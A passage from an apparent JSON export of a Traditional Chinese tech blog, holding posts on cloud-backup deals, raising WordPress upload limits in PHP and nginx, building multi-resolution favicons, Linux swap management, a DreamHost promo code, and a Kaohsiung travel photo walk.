3\n備份工具執行時會顯示在系統圖示列。\nStep 4\n這是備份工具的主畫面。\nStep 5\n這是「Settings」設定選單，可以調整備份與安全性相關的設定。\nStep 6\nGenius Rescue 的備份工具預設會備份桌面、我的文件、音樂、影片等等這些常用的目錄，我們可以自己設定需要備份的路徑。\nStep 7\n備份的時機與週期也可以自行調整。\nStep 8\n這是安全性的設定選單，可以設定密碼與是否要在開機時自動啟動。\nStep 9\n這是備份完成的畫面。\nWindows 中 Genius Rescue 資料回復 Windows 系統的資料備份與回復流程跟 Mac OS X 中相同，以下是操作步驟。\nStep 1\n點選「Restore」功能，選擇要回復哪一台電腦的資料。\nStep 2\n選擇要回復的目錄，點選右邊的「Restore」進行回復。\nStep 3\n選擇回復的目的路徑，可以將檔案回復至原來的路徑，或是儲存在新的位置。\nStep 4\n回復的過程中會顯示資料回復的進度。\nStep 5\n這是回復完成的畫面，這時候就可以在資料的回復目的路徑上看到之前備份的檔案了。\n點選「Click to open report」可以顯示詳細的報表。\nStep 6\n「Restore Report」列出了詳細的資料回復情況。\n最後要介紹 Genius Rescue 的手機與平板 App。\nStep 1\n在 Genius Rescue 的網頁上有各種手機平台的 App 下載連結，同時也可以從 Google Play 或 App Store 直接搜尋 livedrive 的 App 來下載安裝。\n這裡示範 Android 平台上 livedrive App 的安裝與使用。\nStep 2\n首先從 Google Play 上面搜尋 livedrive 這個 App，安裝之後執行它，輸入帳號與密碼後登入。\nStep 3\n登入之後，即可瀏覽備份的所有檔案，圖片檔案可直接看到縮圖。\nStep 4\n一般的檔案可以直接下載，如果是圖檔就可以直接預覽，若是影片或音樂的話，則可以使用串流（Stream）來直接觀看或聆聽。\nStep 5\n圖片檔直接可以預覽，而影片的話可以直接用串流功能（Stream）播放，相當方便。\nStep 6\n這是 livedrive App 的主選單，其中的「Music \u0026amp; Playlist」功能可以整理備份檔案中的音樂，依照演唱者、時間或類型等分門別類，建立自己的播放清單，當作隨身聽使用。\nStep 7\n這是把手機轉成橫向來播放影片的畫面。\n這樣 2TB 超大的空間拿來備份影片檔真的很方便，像我個人就有許多花了很久時間蒐集的電影、影集與卡通的影片檔，累積到現在檔案真的很大，要找個適合的空間長期存放也是很困擾，因為偶爾想到的時候還是會拿出來看一下，所以也捨不得直接刪掉，現在放在這樣的終身備份空間就永遠不用擔心，而且不管用網頁或是手機 App 都可以隨時觀看。\n","permalink":"https://blog.gtwang.org/cloud/genius-rescue-2tb-cloud-backup-lifetime-subscription/","summary":"\u003cp\u003eGenius Rescue 終身 2TB 雲端備份空間現在特價 0.6 折，原價 $900 美金現在只要 $49 美金！\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://stacksocial.com/sales/genius-rescue-2tb-cloud-backup-lifetime-subscription?aid=a-57roq057\"\u003eGenius Rescue\u003c/a\u003e 的雲端備份服務提供了終身使用的 2TB 超大容量空間，這個服務類似 \u003ca href=\"/funny/get-1tb-zoolz-cold-storage-for-lifetime-subscription/\"\u003eZoolz 的終身雲端備份\u003c/a\u003e，但是 Genius Rescue 的備份資料在回復時可以立即下載，不像 Zoolz 的冷儲存需要等待時間，如果是圖片、影片或是音樂檔，還可以直接在線上以串流的形式觀看，而且平均的價格上還更便宜！\u003c/p\u003e","title":"[0.6折] Genius Rescue 終身 2TB 雲端硬碟備份空間只要 $49 美金"},{"content":"如果在 WordPress 架設的網站上傳大型檔案時遇到錯誤，可以參考這裡的步驟教學來解決。\n一般使用 WordPress 所架設的網站，在預設的設定之下是沒有辦法上傳太大型的檔案的，我們可以在「上傳新媒體檔案」的頁面看到目前網站設定的最大上傳檔案大小。\n如果上傳的檔案大小超過限制，就會出現這樣的錯誤訊息：\n以下我們介紹該如何修改網站的設定，解除上傳檔案大小的限制，讓我們可以上傳大型的檔案。\nPHP 設定 上傳檔案的限制只要是由 PHP 的設定所控制的，而 PHP 的設定可以透過下面幾種方式修改。\n方法一：修改 functions.php 第一種方式是修改 WordPress 佈景主題的 functions.php，加入這幾行設定，而裡面的各個設定值就依照個人的需求來調整：\n@ini_set( \u0026#39;upload_max_filesize\u0026#39;, \u0026#39;16M\u0026#39; ); // 單一檔案大小上限 @ini_set( \u0026#39;post_max_size\u0026#39;, \u0026#39;32M\u0026#39;); // POST 資料大小上限 @ini_set( \u0026#39;memory_limit\u0026#39;, \u0026#39;64M\u0026#39; ); // 記憶體上限 @ini_set( \u0026#39;max_execution_time\u0026#39;, \u0026#39;300\u0026#39; ); // 執行時間上限，單位為秒 但這種方式不見得每一個人都可以使用，我個人也不喜歡使用這樣的方式。如果無法使用這種方式的人，可嘗試下面幾種其他的方式。\n方法二：修改 php.ini 最標準的做法是直接修改 PHP 的 php.ini 設定檔，找到對應的設定，修改成自己需要的數值。\n修改單一檔案大小上限：\n; Maximum allowed size for uploaded files. ; http://php.net/upload-max-filesize upload_max_filesize = 16M 修改 POST 資料大小上限：\n; Maximum size of POST data that PHP will accept. ; Its value may be 0 to disable the limit. It is ignored if POST data reading ; is disabled through enable_post_data_reading. ; http://php.net/post-max-size post_max_size = 32M 修改記憶體上限：\n; Maximum amount of memory a script may consume (128MB) ; http://php.net/memory-limit memory_limit = 64M 修改執行時間上限（單位為秒）：\n; Maximum execution time of each script, in seconds ; http://php.net/max-execution-time ; Note: This directive is hardcoded to 0 for the CLI SAPI max_execution_time = 300 最後重新啟動 PHP 讓新設定生效：\nsudo service php5-fpm restart 修改 nginx 設定 如果您的網頁伺服器是使用 nginx，除了修改上述的 PHP 設定之外，nginx 本身的檔案大小限制設定也需要一起修改，否則就會出現這樣的錯誤訊息：\n2016/02/01 15:31:45 [error] 20830#0: *1143155 client intended to send too large body: 3164703 bytes, client: 108.162.222.88, server: blog.gtwang.org, request: \"POST /wp-admin/async-upload.php HTTP/1.1\", host: \"blog.gtwang.org\", referrer: \"http://blog.gtwang.org/wp-admin/post.php?post=13249\u0026action=edit\" 若是在 nginx 的 log 檔中看到這樣的錯誤，就在 nginx.conf 設定檔中加入這一行設定就可以解決了：\nhttp { client_max_body_size 32m; } 然後重新啟動 nginx 讓新設定生效：\nsudo service nginx restart 或是重新載入設定也可以：\nsudo service nginx reload 修改完成之後，WordPress 上面的檔案大小限制就會是新的設定值。\n這樣上傳大型檔案就沒有問題了。\n參考資料 PHP Manual Kinsta nginx ","permalink":"https://blog.gtwang.org/wordpress/how-to-increase-the-maximum-file-upload-size-in-wordpress/","summary":"\u003cp\u003e如果在 WordPress 架設的網站上傳大型檔案時遇到錯誤，可以參考這裡的步驟教學來解決。\u003c/p\u003e\n\u003cp\u003e一般使用 WordPress 所架設的網站，在預設的設定之下是沒有辦法上傳太大型的檔案的，我們可以在「上傳新媒體檔案」的頁面看到目前網站設定的最大上傳檔案大小。\u003c/p\u003e","title":"修改 WordPress 上傳檔案大小限制設定（PHP 上傳大型檔案）"},{"content":"這裡介紹如何設定各種解析度的網站圖示檔 favicon.ico，讓各種平板與手機也可以正常顯示網站的 logo 圖示。\n一個正式的網站都會有一個代表網站的 logo 圖示，把代表網站的圖示設定好，對於網站的形象建立會有很大的幫助，如果使用者看到一個網站沒有正確的顯示 logo 圖示，很直覺就會認為這個網站不夠專業，甚至懷疑網站的真實性。\n以前傳統網站的圖示只有一種，就是 16x16 大小的 favicon.ico 圖示檔，顯示在瀏覽器的網址列，設定的方式很單純（可參考 WordPress 設定 Favicon 網站圖示的教學），不過現在除了瀏覽器本身會使用到網站圖示之外，桌上型電腦、手機或平板在建立網站的捷徑時也都會用到網站的圖示，不同的作業系統或裝置所使用圖示大小也都不同，所以在設定上也複雜許多。\n由於目前各家作業系統對於網站圖示的標準不一，網路上有「各式各樣」的教學，每個人的作法都不同，其實我看了很久也不是很清楚到底應該怎麼設定比較好，以下是我個人的一些筆記給大家參考。\n製作多解析度的 favicon.ico 一個 ico 圖示檔可以包含好幾種解析度的圖示，這個特點非常有用，因為我們只要在 \u0026lt;head\u0026gt; 中加上一行程式碼就可以支援好幾種不同解析度的圖示：\n\u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; sizes=\u0026#34;16x16 32x32 48x48 64x64\u0026#34; href=\u0026#34;http://blog.gtwang.org/favicon.ico\u0026#34;\u0026gt; 這樣的 favicon.ico 檔案中包含了好幾個不同解析度的圖檔，若要製作這樣的 ico 圖示檔，可以使用 GIMP 或是 ImageMagick 自動產生。\n使用 GIMP Step 1\n首先自己設計好各種大小的圖示檔。\nStep 2\n使用 GIMP 開啟大小最大的那一個圖示。\nStep 3\n選擇「開啟成為圖層」。\nStep 4\n選擇各種大小的圖示檔。\nStep 5\n開啟之後，所有的圖示會疊在一起。\nStep 6\n選擇「Export As」匯出圖示。\nStep 7\n將匯出的圖示儲存為 favicon.ico。\nStep 8\n調整各個圖示的儲存設定。\n設定好之後，按下「匯出」即可產生包含各種大小的 favicon.ico 圖示檔了。\nImageMagick 如果不想使用 GIMP 手動編輯圖示，我們也可以利用 ImageMagick 的 convert 來自動產生包含各種大小的圖示檔。首先安裝 ImageMagick，Debian 系列的 Linux 可用 apt 安裝：\nsudo apt-get install imagemagick 如果是 Windows 的使用者，可以從 ImageMagick 的官方網站上下載打包好的安裝檔來使用。 接著製作一個高解析度的圖示檔作為母圖，然後用 convert 轉換成各種大小的圖示檔：\nconvert source.png -resize 64x64 favicon-64.png 如果想要將圖示中的特定顏色轉為透明，可以加上 -transparent 參數，例如：\nconvert source.png -resize 64x64 -transparent white favicon-64.png 產生好各種大小的圖示檔案之後，再將所有的圖示檔合併變成一個 favicon.ico 檔，例如：\nconvert favicon-16.png favicon-24.png favicon-32.png favicon-48.png favicon-64.png favicon.ico 這樣就產生了一個包含各種圖示大小的 favicon.ico 了。\nWindows、Android 與 iOS 使用的圖示 favicon.ico 可以提供一般的瀏覽器使用，而 Windows、Android 與 iOS 等系統會使用一些特定大小的圖示，而這些圖示的標準非常雜亂，建議可以使用 Real Favicon Generator.net 這個測試工具來輔助，測試看看自己的網站缺少哪些大小的圖示，再把缺少的圖示依照指示補上去。\nReal Favicon Generator.net 的測試報告會顯示網站在瀏覽器與各種作業系統中所顯示的圖示，而下方還有非常詳細的分析與說明，我們可以依照這裡的建議，加上必要的圖示。以下這是一個範例：\n\u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; sizes=\u0026#34;16x16 32x32 48x48 64x64\u0026#34; href=\u0026#34;http://blog.gtwang.org/favicon.ico\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;57x57\u0026#34; href=\u0026#34;/favicon-57.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon-precomposed\u0026#34; sizes=\u0026#34;57x57\u0026#34; href=\u0026#34;/favicon-57.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;72x72\u0026#34; href=\u0026#34;/favicon-72.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;114x114\u0026#34; href=\u0026#34;/favicon-114.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;120x120\u0026#34; href=\u0026#34;/favicon-120.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;144x144\u0026#34; href=\u0026#34;/favicon-144.png\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;apple-touch-icon\u0026#34; sizes=\u0026#34;152x152\u0026#34; href=\u0026#34;/favicon-152.png\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;application-name\u0026#34; content=\u0026#34;GTWang GTWang gtwang\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;msapplication-TileImage\u0026#34; content=\u0026#34;/favicon-144.png\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;msapplication-TileColor\u0026#34; content=\u0026#34;#3498df\u0026#34;\u0026gt; 這個範例只是提供大家一個參考而已，並沒有把所有的圖示大小都加入進來，因為所有的圖示大小實在是太多了，也沒有一個統一的標準，所以就放一些自己覺得比較重要的。\n另外 Real Favicon Generator.net 的 FAQ 提供了非常詳細的說明，如果您想要把每一種圖示都補齊，可以詳細閱讀這裡的說明。\n參考資料 Scotch ","permalink":"https://blog.gtwang.org/web-development/making-multi-resolution-favicons/","summary":"\u003cp\u003e這裡介紹如何設定各種解析度的網站圖示檔 favicon.ico，讓各種平板與手機也可以正常顯示網站的 logo 圖示。\u003c/p\u003e\n\u003cp\u003e一個正式的網站都會有一個代表網站的 logo 圖示，把代表網站的圖示設定好，對於網站的形象建立會有很大的幫助，如果使用者看到一個網站沒有正確的顯示 logo 圖示，很直覺就會認為這個網站不夠專業，甚至懷疑網站的真實性。\u003c/p\u003e","title":"設定各種解析度大小的網站圖示 Favicon.ico"},{"content":"這裡介紹高雄旗津半島附近的景點，包含旗津-鼓山渡輪、旗津天后宮以及西子灣夕陽。\n這禮拜去中山大學參加物理年會，就順便到附近的景點逛一逛，也搭渡輪到旗津去看看，以下是這幾天拍的一些照片。\n旗津、鼓山渡輪站 這裡是鼓山渡輪站，通常來旗津旅遊的人，都會搭乘往返旗津與鼓山之間的渡輪前往旗津。\n對於當地人而言，這個渡輪也是非常重要的交通工具，如果不搭乘渡輪的話，就要繞到南邊的過港隧道，但是因為過港隧道太遠了，一般騎機車的話通常都會搭乘這個渡輪比較方便。\n這是鼓山渡輪站下午的景色。\n天氣好的話，這裡的風景是還不錯。\n天氣好的話，下午接近傍晚的時間，這裡通常都有很多遊客。\n這是渡輪靠港的情況。\n這是旗津-鼓山渡輪的航班時間表，尖峰時段大概 5 分鐘左右就會有一班渡輪，通常是不需要等太久。\n這是鼓山渡輪站的行人入口，目前全票是 25 元，學生票是 20 元，優待票則是 12 元，採自行投幣的方式，零錢要自己準備好（就像坐公車一樣），持一卡通有八折優惠。\n這是渡輪船艙內部的座位。\n如果是來旅遊的話，可以坐在甲板上的座位，可以方便看外面的風景。\n渡輪船尾有懸掛中華民國的國旗。\n這裡的渡輪總共有三艘，在搭乘時也可以看到其他艘渡輪。\n渡輪開往旗津時，可以看到整個高雄港。\n這是在渡輪上往旗津的方向看過去的樣子，中間的部分就是旗津渡輪站。\n在渡輪上有時候還可以近距離看到這樣的小船開過去。\n這是旗津渡輪站。\n這是旗津渡輪站的入口。\n很漂亮的旗津渡輪站。\n很多當地的民眾都會直接騎機車搭乘渡輪。\n這是旗津渡輪站的入口，可以選擇使用一卡通或是直接投幣繳費。\n繳費之後，就可以搭乘渡輪了。\n渡輪的第一層是停放機車用的，行人是在劉梯上去的第二層。\n這是渡輪內部的機車騎士。\n這裡可以停放的機車數量還滿多的。\n這是渡輪航行時，船尾的水花。\n另一艘渡輪。\n從旗津回來時，所看到的鼓山渡輪站。\n另一艘渡輪。\n鼓山渡輪站。\n鼓山渡輪站。\n附上幾張在旗津渡輪站旁邊拍的照片。\n這是在岸上看到的渡輪。\n在這裡有時候可以看到這種比較大型的貨輪進出高雄港。\n這艘貨輪正要出港。\n高雄旗津天后宮 從旗津渡輪站一出來，就會看到這一條旗津老街，這時候是早上八點，所以沒有什麼人，如果是下午來的話，這裡會有非常多的觀光客與攤販。\n高雄旗津天后宮是一個三級古蹟，來這裡玩的人通常都會來這裡逛逛。\n在天后宮後方的那一棟是後來蓋的旗峯會館，是天后宮提供香客住宿的旅館。\n這是天后宮的大門口。\n這是天后宮內部。\n旗津媽祖結緣品。\n旗津天后宮。\n旗津天后宮。\n這是旗津天后宮門口的許願亭。\n天后宮旁邊的石碑與鐘。\n文化局製作的旗後天后宮標示牌。\n這是旗津天后宮的旗峯會館，如果需要住宿的旅客，可以參考一下。\n這些是旗津天后宮與旗峯會館的 DM。\n旗津天后宮也有 facebook 粉絲專頁，有興趣的人可以看看。\n鼓山漁港 在鼓山渡輪站旁邊就是鼓山漁港。\n漁港內有很多小船。\n鼓山漁港周圍看起來應該是有特別經過整理，感覺很漂亮也很乾淨。\n西子灣隧道 鼓山漁港在過去一點，就是通往中山大學的西子灣隧道。\n若要從鼓山走路到中山大學，通常都會走這裡過去。\n這是隧道的入口（鼓山）。\n而這是中山大學這一側的隧道入口。\n整條隧道全長 260 公尺、寬 6 公尺、高 3.6 公尺，可分前、中、後三段，隧道兩端入口以混凝土澆製成仿石砌拱圈。\n許多中山大學的學生都會走這一個隧道到鼓山。\n西子灣夕陽 到了西子灣最重要的就是看夕陽了，通常好天氣的話，整個西子灣都是觀光客。\n這兩張夕陽照片我是在中山大學這邊的海岸拍的，從西子灣隧道出口走過來大概只要五分鐘。\n","permalink":"https://blog.gtwang.org/life/cijin-gushan-ferry-station-cihou-tianhou-temple-kaohsiung/","summary":"\u003cp\u003e這裡介紹高雄旗津半島附近的景點，包含旗津-鼓山渡輪、旗津天后宮以及西子灣夕陽。\u003c/p\u003e\n\u003cp\u003e這禮拜去中山大學參加物理年會，就順便到附近的景點逛一逛，也搭渡輪到旗津去看看，以下是這幾天拍的一些照片。\u003c/p\u003e","title":"高雄旗津景點：鼓山渡輪站、旗津天后宮、西子灣夕陽"},{"content":"這裡介紹 Linux 系統上 swap 交換空間的使用方式，包含 swap 分割區與檔案的使用與管理。\nLinux 系統將實體記憶體（RAM）分成一塊一塊的小區域，這些小區塊稱為 pages，在實體記憶體不足的時候，系統會透過 swapping 的動作將 page 的資料搬到預先配置好的硬碟置換空間（swap）中儲存，然後釋放出 page 的記憶體空間，而 Linux 系統上的虛擬記憶體（virtual memory）就是包含實體記憶體與硬碟的置換空間這兩大部份。\n通常在安裝 Linux 系統的時候，都會配置一個獨立的磁碟分割區給 swap 交換空間使用，但我們也可以將一般的檔案作為 swap 交換空間使用，尤其是在系統臨時需要大量的記憶體時，就可以使用檔案的方式增加 swap 交換空間。\n查看交換空間（Swap） 若要查看目前 Linux 系統上的置換空間狀態，可以使用 swapon 指令：\n# 查看系統置換空間狀態 swapon -s 輸出會類似這樣：\nFilename\tType\tSize\tUsed\tPriority /dev/sdb partition\t262140\t204564\t-1 或是使用 free 來查看：\n# 查看系統記憶體狀態 free -h 輸出為：\ntotal used free shared buffers cached Mem: 991M 979M 12M 33M 41M 535M -/+ buffers/cache: 401M 589M Swap: 255M 199M 56M 以磁碟分割區建立交換空間 在 Linux 中我們可以利用 fdisk 或 cfdisk 這類的磁碟分割工具來建立交換空間專用的分割區，交換空間的磁碟分割區類型編號（partition type）是 82，但其實任何的磁碟分割區類型都可以作為交換空間使用。\n在建立好磁碟分割區之後，我們可以使用 mkswap 來初始化交換空間，例如：\n# 始化交換空間 sudo mkswap /dev/sda2 這樣系統就會在 /dev/sda2 這個分割區建立一個交換空間。\n在使用 mkswap 初始化交換空間時，會將該分割區內的所有資料抹除，使用時請特別注意！\nmkswap 在初始化交換空間時，會自動幫分割區產生一個 UUID，如果您想要自行指定 UUID，可以使用 -U 指令：\n# 始化交換空間（自行指定 UUID） sudo mkswap -U custom_UUID /dev/sda2 在建立好交換空間之後，使用 swapon 指令啟用這個新的交換空間：\n# 啟用交換空間 sudo swapon /dev/sda2 這樣 Linux 系統就可以馬上使用這個新的交換空間了。\n若要讓 Linux 系統在開機時就自動啟用這個交換空間，可以在 /etc/fstab 中加上一行設定：\n/dev/sda2 none swap defaults 0 0 如果您是使用有支援 TRIM 的 SSD 來作為交換空間，那麼在執行 swapon 指令時可以加上 -d 或是 --discard 參數：\nsudo swapon -d /dev/sda2 而 /etc/fstab 的設定亦可加上 discard 選項：\n/dev/sda2 none swap defaults,discard 0 0 這樣有可能可以讓交換空間的使用更有效率。\n如果要停用交換空間，可以使用 swapoff 指令：\n# 停用交換空間 sudo swapoff /dev/sda2 以檔案建立交換空間 除了使用固定的磁碟分割區之外，我們也可以拿一般的檔案來建立交換空間，用檔案的方式可以讓管理者非常彈性的動態增加交換空間，在不需要時也可以很方便的移除。\nBtrfs 檔案系統上的檔案無法用來建立交換空間。\n若要使用一般的檔案建立交換空間，首先使用 fallocate 建立一個檔案，檔案的的大小可以使用 -l 參數指定，例如建立一個大小為 512 MB 的檔案：\n# 建立大小為 512 MB 的檔案 sudo fallocate -l 512M /swapfile 如果您的檔案系統無法使用 fallocate 建立檔案，可以改用 dd：\n# 建立大小為 512 MB 的檔案 sudo dd if=/dev/zero of=/swapfile bs=1M count=512 使用 dd 的作用跟 fallocate 差不多，只是會多出一些磁碟寫入的動作，稍微慢一些。\n接著設定正確的權限：\n# 設定權限 sudo chmod 600 /swapfile 使用 mkswap 初始化交換空間：\n# 初始化交換空間 sudo mkswap /swapfile 最後使用 swapon 啟用交換空間：\n# 啟用交換空間 sudo swapon /swapfile 若要讓系統開機時可以自動使用這個交換空間，則在 /etc/fstab 中加入：\n/swapfile none swap defaults 0 0 若要停用交換空間，一樣是使用 swapoff：\n# 停用交換空間 sudo swapoff -a 當交換空間停用之後，如果後續沒有需要繼續使用，就可以將檔案刪除了：\n# 刪除檔案 sudo rm -f /swapfile 如果在 /etc/fstab 有設定這個檔案的交換空間的話，也記得要一併移除。\n接著我們要介紹使用 USB 隨身碟或外接硬碟來作為 Linux 系統的交換空間，請繼續閱讀下一頁。\n以 USB 隨身碟或外接硬碟建立交換空間 如果您的硬碟已經沒有剩餘的空間了，而且系統的記憶體又不足，這樣的狀況下就可以使用 USB 隨身碟或外接硬碟來應急，不過使用 USB 隨身碟會有一些缺點：\nUSB 隨身碟的速度通常都比硬碟慢，作為交換空間效率不佳。 快閃記憶體（flash memory）有寫入次數的限制，作為交換空間會讓隨身碟比較快損壞。 若要使用 USB 隨身碟作為交換空間，首先將隨身碟掛載之後，依照一般硬碟分割區的操作方式來初始化 USB 隨身碟，只不過在 /etc/fstab 之中的設定要改用 UUID 的方式設定：\nUUID=MY_USB_UUID none swap defaults 0 0 這裡的 MY_USB_UUID 要換成 USB 隨身碟的 UUID，這個值可以從 /dev/disk/by-uuid/ 中查到：\n# 查看 USB 隨身碟 UUID ls -l /dev/disk/by-uuid/ 執行之後，會列出每個 UUID 對應的分割區。\n以 /dev/sdb1 這一個 USB 隨身碟來說，設定就是這樣寫：\nUUID=df040c08-8212-4077-ad2e-48df71721fe8 none swap defaults 0 0 交換空間效能校調 系統使用交換空間的程度可以透過 swappiness 這個系統參數來調整，這個值的範圍是從 0 到 100，這個數值越大的話系統就會越積極將暫時不用的資料搬移至置換空間儲存，而比較低的值就會讓系統降低交換空間的使用率，預設值是 60。我們可以利用這個指令查詢目前的 swappiness 數值：\n# 查詢目前 swappiness 數值 cat /proc/sys/vm/swappiness 如果想要讓系統效能提高，可以嘗試降低 swappiness 的數值：\n# 設定 swappiness 數值 sudo sysctl vm.swappiness=50 或是直接使用 echo 更改也可以：\n# 設定 swappiness 數值 sudo echo 50 \u0026gt; /proc/sys/vm/swappiness 若要讓開機後自動設定，可以新增一個 /etc/sysctl.d/90-swappiness.conf 設定檔，加入這一行設定：\nvm.swappiness=10 如果系統上同時有好幾個交換空間，我們可以透過 pri 這個優先權的參數來設定使用的順序：\n/dev/sda2 none swap defaults,pri=10 0 0 /dev/sdb1 none swap defaults,pri=5 0 0 pri 的數值越大，系統就會越先選用，這個數值的範圍可以從 0 到 32767，以這個例子來說系統會優先使用 /dev/sda2 這個交換空間，當 /dev/sda2 的空間用完時，才會使用 /dev/sdb1 這個分割區的交換空間。\n在使用 swapon 時也可以加上 -p 參數來指定優先權：\n# 以 -p 參數指定優先權 sudo swapon -p 10 /dev/sda1 參考資料 ArchWiki redhat ","permalink":"https://blog.gtwang.org/linux/linux-swap-space-tutorial/","summary":"\u003cp\u003e這裡介紹 Linux 系統上 swap 交換空間的使用方式，包含 swap 分割區與檔案的使用與管理。\u003c/p\u003e\n\u003cp\u003eLinux 系統將實體記憶體（RAM）分成一塊一塊的小區域，這些小區塊稱為 pages，在實體記憶體不足的時候，系統會透過 swapping 的動作將 page 的資料搬到預先配置好的硬碟置換空間（swap）中儲存，然後釋放出 page 的記憶體空間，而 Linux 系統上的虛擬記憶體（virtual memory）就是包含實體記憶體與硬碟的置換空間這兩大部份。\u003c/p\u003e","title":"Linux 系統 Swap 交換空間管理教學：Swap 分割區與檔案的使用與管理"},{"content":"這裡介紹如何使用 DreamHost 網頁主機空間優惠碼，讓你只要每月花 $2.45 美金，就可以買到不限空間、流量網站數的 SSD 主機空間。\nDreamHost 是一家還不錯的主機商，他在 2015 年被 PC Magazine 雜誌評選為最佳的編輯精選主機空間（editors\u0026rsquo; choice），而且他也是 WordPress.org 官方網站上所推薦的主機空間之一。\n我個人之前也是感覺 DreamHost 還不錯，所以也自己趁 Shared Hosting 打五折的時候買了一年的空間，把網站整個搬進 DreamHost 來做服務，用了一段時間感覺還不錯，他不限制儲存空間、流量與網站數，MySQL 資料庫也沒有限制，所以您不管要放幾個網站都可以，再加上伺服器都是使用固態硬碟（SSD），用 SSH 登入伺服器處理大量資料 （例如壓縮或是解壓縮檔案）真的非常快，我使用起來是很滿意。\n不過後來我發現，原來第一次購買 DreamHost 的 Shared Hosting 網頁主機空間時，可以靠優惠碼（promo code、coupon code）來獲取更低的價格，以 GOLD245 這個優惠碼來說，第一年每個月只要 $2.45 美金，我之前沒有用優惠碼，官方打五折的價格是每個月 $4.95 美金，有優惠碼真的便宜很多！\n由於 DreamHost 的銷售策略改變，從 2016 年 3 月 15 日開始將會取消所有的優惠碼，未來也都不會有類似的優惠了。\nDreamHost 的 Shared Hosting 主要規格如下：\n項目 規格 儲存空間大小 無限制 網路流量 無限制 網站數量 無限制 MySQL 資料庫數量與容量 無限制 Email 信箱 無限制 硬碟類型 固態硬碟（SSD） SSH 登入伺服器主機 可以 Uptime 保證 100% 另外 DreamHost 也有 97 天不滿意全額退費的保證（97 day money back guarantee），也就是說如果使用了一兩個月，不想用的話，也可以要求 DreamHost 退款。\n以下是使用優惠碼來購買 DreamHost 網頁主機空間的步驟教學。\nStep 1\n使用瀏覽器的無痕模式開啟 DreamHost / Shared Hosting 的網頁，點選註冊按鈕。\nStep 2\n開啟註冊頁面之後，填入自己的 Email 信箱，並且設定一個密碼。\n設定好之後點選下方的「Continue」。\nStep 3\n輸入想要使用的網域，DreamHost 可以讓您免費註冊一個新的網域（.com、.net、.org 或 .info），或是您要使用自己過去已經註冊好的網域也可以。\n設定好之後點選下方的「Continue」。\nStep 4\n選擇付費方案，這裡的價格是原始定價，稍後可以使用優惠碼來打折，由於我們的優惠碼對於一年的方案最划算，所以選擇 1 Year 這個（預設應該也是這個）。\n設定好之後點選下方的「Continue」。\nStep 5\n選擇是否需要 MySQL VPS 的服務，不需要的話就點選下方的「Continue」跳過。\nStep 6\n填入個人基本資料，英文的姓名、地址、電話等，接著在 Promo Code 欄位填入優惠碼 GOLD245（優惠碼沒有分大小寫，輸入小寫的 gold245 也可以）。\n如果您在之前有點選到別的 DreamHost 方案（如官方網站的方案），那麼在這裡註冊時就不會出現輸入優惠碼的欄位，遇到這樣的情況請改用瀏覽器的無痕模式來註冊，即可解決這種問題。\n如果您不知道怎麼用英文填這些資料，以下有一些翻譯工具：\n姓名英文翻譯：外交部網站、姓名翻譯工具 地址英文翻譯：郵局中文地址英譯、地址翻譯工具 國際電話寫法：把第一個 0 改為 +886 即可，例如 0912345678 則填 +886912345678 Step 7\n接著輸入信用卡的相關資訊。\n優惠碼在輸入之後，網頁會馬上確認其有效性，在確認完優惠碼之後，下方的價格資訊應該就會出現 Promo code: GOLD245 的訊息，然後價格也會大幅下降，總價從原本的 $119.4 降到剩下 $29.4 美金，也就是每個月 $29.4 / 12 = $2.45 美金！\n最後按下「Place order now」，就可以完成註冊，並且付款了。\n以上就是使用優惠碼購買 DreamHost 網頁主機空間的教學，在購買成功之後，我們就可以在 DreamHost 網頁主機空間新增網站與 FTP 帳號，上傳自己的資料來架設網站了。\n","permalink":"https://blog.gtwang.org/web-hosting/dreamhost-hosting-promo-code-gold25/","summary":"\u003cp\u003e這裡介紹如何使用 DreamHost 網頁主機空間優惠碼，讓你只要每月花 $2.45 美金，就可以買到不限空間、流量網站數的 SSD 主機空間。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 是一家還不錯的主機商，他在 2015 年被 \u003ca href=\"https://www.pcmag.com/article2/0,2817,2423650,00.asp\"\u003ePC Magazine\u003c/a\u003e 雜誌評選為最佳的編輯精選主機空間（editors\u0026rsquo; choice），而且他也是 \u003ca href=\"https://wordpress.org/hosting/\"\u003eWordPress.org 官方網站\u003c/a\u003e上所推薦的主機空間之一。\u003c/p\u003e","title":"[27折] DreamHost 優惠碼 GOLD245：每月 $2.45 美金，無限空間流量網站數的網頁主機空間！"},{"content":"Zoolz 的終身 1TB 雲端備份空間現在大特價，只要 $39 美金，比買硬碟還便宜！\n現在人的資料越來越多，要找一個安全、穩定又便宜的備份方式實在不容易，目前 Zoolz 的冷儲存服務大特價，原價 $1800 美金的終身 1TB 雲端備份空間，現在只要 $39 美金就可以買到（0.3 折），這個價格已經比買硬碟更便宜了，如果您需要備份一些不常用到的大檔案，非常建議使用這樣的方式，例如大量影片、照片等等，只要傳上去就可以永久備份起來，空間大、不需要自己維護，非常方便。\n名稱：Zoolz Cold Storage for Lifetime Subscription\n容量：1 TB\n使用期限：終身使用\n價格：$39 美金（原價 $1800 美金）\n網址：stacksocial.com\n這次 Zoolz 的活動已經結束，但後來又有一個類似的優惠，請參考 stacksocial.com。\n以下是 Zoolz 冷儲存服務的特點：\n1 TB（1000 GB）超大穩定的儲存空間。 提供簡單容易使用的備份工具。 使用 256 位元的 AES 加密備份資料。 資料回復只需要三至五小時。 自動定時備份、網路頻寬管理、系統圖示列顯示等。 其餘詳細說明，可以參考 Zoolz 的官方網站。\n這個 Zoolz 冷儲存空間所使用的儲存設備事實上就是 Amazon 